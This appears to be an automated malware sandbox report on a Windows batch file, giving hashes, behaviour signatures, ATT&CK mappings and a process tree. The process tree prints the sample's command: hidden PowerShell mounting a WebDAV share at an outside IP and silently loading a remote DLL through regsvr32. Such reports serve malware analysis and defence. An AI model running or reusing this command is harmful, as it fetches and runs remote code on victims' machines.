0c50573bce7afa30dbbb4bc4a7af363d35b915780b0771729ff19b92d695d5f9

Analysis

max time kernel
100s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 14:00

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General

Target

24649200352152318648.bat
Size

13KB
MD5

b361e88381281c2cbc61ab9cbf332e3a
SHA1

7822c8ec1414be3c28b7f9141569919483c33dd9
SHA256

0c50573bce7afa30dbbb4bc4a7af363d35b915780b0771729ff19b92d695d5f9
SHA512

6a1d37fdb71d521c87420d249dcadb0fca6fbe231d03a138b970f20604d41449acac7593f5e8fcbdaee6ca63f6aa1065ac83b4059c9ae3e38400b7e531617a36
SSDEEP

384:lqUcR4DBiitJgVKWBaH+tOcUFTQf/PU7hap7OK5gmwNmwE:IRR8BiitJgVpBaetOcl+hap7OK5git

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2844	wordpad.exe
2844	wordpad.exe
2844	wordpad.exe
2844	wordpad.exe
2844	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2844	2480	cmd.exe	31
PID 2480 wrote to memory of 2844	2480	cmd.exe	31
PID 2480 wrote to memory of 2844	2480	cmd.exe	31
PID 2480 wrote to memory of 2892	2480	cmd.exe	32
PID 2480 wrote to memory of 2892	2480	cmd.exe	32
PID 2480 wrote to memory of 2892	2480	cmd.exe	32
PID 2892 wrote to memory of 1888	2892	powershell.exe	34
PID 2892 wrote to memory of 1888	2892	powershell.exe	34
PID 2892 wrote to memory of 1888	2892	powershell.exe	34
PID 2892 wrote to memory of 2800	2892	powershell.exe	35
PID 2892 wrote to memory of 2800	2892	powershell.exe	35
PID 2892 wrote to memory of 2800	2892	powershell.exe	35
PID 2892 wrote to memory of 2800	2892	powershell.exe	35
PID 2892 wrote to memory of 2800	2892	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\24649200352152318648.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\55232969817907.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1888
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\55232969817907.dll
    3⤵
    PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2892-23-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/2892-24-0x0000000002370000-0x0000000002378000-memory.dmp

Filesize
32KB

Download